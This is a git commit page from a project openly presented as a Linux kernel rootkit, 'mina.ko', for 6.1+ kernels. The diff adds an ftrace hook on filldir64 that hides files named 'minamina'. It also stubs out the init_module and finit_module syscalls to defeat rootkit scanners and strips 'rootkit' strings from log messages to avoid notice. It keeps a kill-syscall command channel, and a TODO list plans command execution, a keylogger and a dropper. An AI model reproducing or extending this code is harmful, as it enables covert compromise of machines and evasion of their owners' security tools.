mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 628f17d2a2c12d5378c8dc631199f19fed3d4361
parent 45c922e38fc4c055becea927d851617c1cf8f044
Author: djnn <[email protected]>
Date: Mon, 20 Jan 2025 19:07:35 +0900

feat(hooks): filldir64 hijack this commits add a much simpler way to hook file/dir process. we simply hide the file while it gets listed. also removed some strings that directly said "rootkit" since its a bit obvious lol.

Diffstat:
Mrootkit/includes/ftrace_helper.h | 10+++++-----
Mrootkit/sources/mina.c | 85+++++++++++++++++++++++--------------------------------------------------------

2 files changed, 30 insertions(+), 65 deletions(-)

diff --git a/rootkit/includes/ftrace_helper.h b/rootkit/includes/ftrace_helper.h
@@ -75,7 +75,7 @@ static int fh_resolve_hook_address(struct ftrace_hook *hook) {
     hook->address = kallsyms_lookup_name(hook->name);
 
     if (!hook->address) {
-        printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
+        printk(KERN_DEBUG "unresolved symbol: %s\n", hook->name);
         return -ENOENT;
     }
 
@@ -124,13 +124,13 @@ int fh_install_hook(struct ftrace_hook *hook) {
 
     err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
     if (err) {
-        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+        printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err);
         return err;
     }
 
     err = register_ftrace_function(&hook->ops);
     if (err) {
-        printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
+        printk(KERN_DEBUG "register_ftrace_function() failed: %d\n", err);
         return err;
     }
 
@@ -145,12 +145,12 @@ void fh_remove_hook(struct ftrace_hook *hook) {
     int err;
     err = unregister_ftrace_function(&hook->ops);
     if (err) {
-        printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
+        printk(KERN_DEBUG "unregister_ftrace_function() failed: %d\n", err);
     }
 
     err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
     if (err) {
-        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+        printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err);
     }
 }
 
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -1,5 +1,4 @@
 #include <linux/delay.h>
-#include <linux/dirent.h>
 #include <linux/fs.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
@@ -8,7 +7,6 @@
 #include <linux/list.h>
 #include <linux/module.h>
 #include <linux/slab.h>
-#include <linux/uaccess.h>
 #include <linux/version.h>
 
 #include "../includes/mina.h"
@@ -49,13 +47,10 @@ timestomping might be necessary from the dropper
     ======================== TODO ==============================
 
 
-- write hook on file listing to hide any file i would like (hook filldir)
-- find a way to retrieve the module (if possible from memory, not relative path),
-    & add it to /usr/lib/modules/
-- add /sys/modules/mina** from the listdir syscall
 - timestomping /usr/lib/modules-load.d
 - intercept TCP calls to read ICMP packets. REPL should be inside
-- hook insmod to avoid having LKM scanners
+- command-exec module (!!)
+- keylogger ?
 
 - write silly dropper
 - write an ICMP client to interact with the rootkit
@@ -80,59 +75,15 @@ MODULE_VERSION("0.0.1");
 /*         ------=== DIR  HOOK ===----- */
 
 #define HIDE_DIR "minamina"
+static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char *name, int namlen,
+                                             loff_t offset, u64 ino, unsigned int d_type);
+static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
+                                      loff_t offset, u64 ino, unsigned int d_type) {
 
-static asmlinkage long (*original_getdents64)(const struct pt_regs *);
-static asmlinkage long hook_getdents64(const struct pt_regs *regs) {
-    struct linux_dirent64 __user *user_dir = (struct linux_dirent64 __user *)regs->si;
+    if (strstr(name, HIDE_DIR) != NULL)
+        return true;
 
-    struct linux_dirent64 *kernel_dir_buffer = NULL;
-    struct linux_dirent64 *current_entry = NULL;
-    struct linux_dirent64 *prev_entry = NULL;
-
-    unsigned long offset = 0;
-    long result = original_getdents64(regs);
-
-    if (result <= 0) {
-        return result;
-    }
-
-    kernel_dir_buffer = kmalloc(result, GFP_KERNEL);
-    if (!kernel_dir_buffer) {
-        return -ENOMEM;
-    }
-
-    if (copy_from_user(kernel_dir_buffer, user_dir, result) != 0) {
-        kfree(kernel_dir_buffer);
-        return -EFAULT;
-    }
-
-    while (offset < result) {
-        current_entry = (struct linux_dirent64 *)((char *)kernel_dir_buffer + offset);
-
-        if (strncmp(current_entry->d_name, HIDE_DIR, strlen(HIDE_DIR)) == 0) {
-            if (current_entry == kernel_dir_buffer) {
-                result -= current_entry->d_reclen;
-                memmove(kernel_dir_buffer, (char *)kernel_dir_buffer + current_entry->d_reclen, result);
-                continue;
-            }
-
-            if (prev_entry) {
-                prev_entry->d_reclen += current_entry->d_reclen;
-            }
-        } else {
-            prev_entry = current_entry;
-        }
-
-        offset += current_entry->d_reclen;
-    }
-
-    if (copy_to_user(user_dir, kernel_dir_buffer, result) != 0) {
-        kfree(kernel_dir_buffer);
-        return -EFAULT;
-    }
-
-    kfree(kernel_dir_buffer);
-    return result;
+    return original_filldir64(ctx, name, namlen, offset, ino, d_type);
 }
 
 /*         ------=== KILL HOOK ===----- */
@@ -158,11 +109,25 @@ normalkill:
     return original_kill(regs);
 }
 
+/*         ------=== INSMOD HOOK ===----- */
+
+static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags);
+static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
+    return 0;
+}
+
+static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
+static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
+    return 0;
+}
+
 /*     ------=== HOOKS DEFINITIONS ===-----     */
 
 static struct ftrace_hook hooks[] = {
-    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),         // receive commands from machine
-    HOOK("__x64_sys_getdents64", hook_getdents64, &original_getdents64), // hide directories
+    HOOK("filldir64", hook_filldir64, &original_filldir64),                    /* hide files (& directories) */
+    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),               /* receive commands from machine */
+    HOOK("__x64_sys_init_module", hook_init_module, &original_init_module),    /* hide from rootkit hunters */
+    HOOK("__x64_sys_finit_module", hook_finit_module, &original_finit_module), /* hide from rootkit hunters */
 };
 
 /* --------------------------------------------- */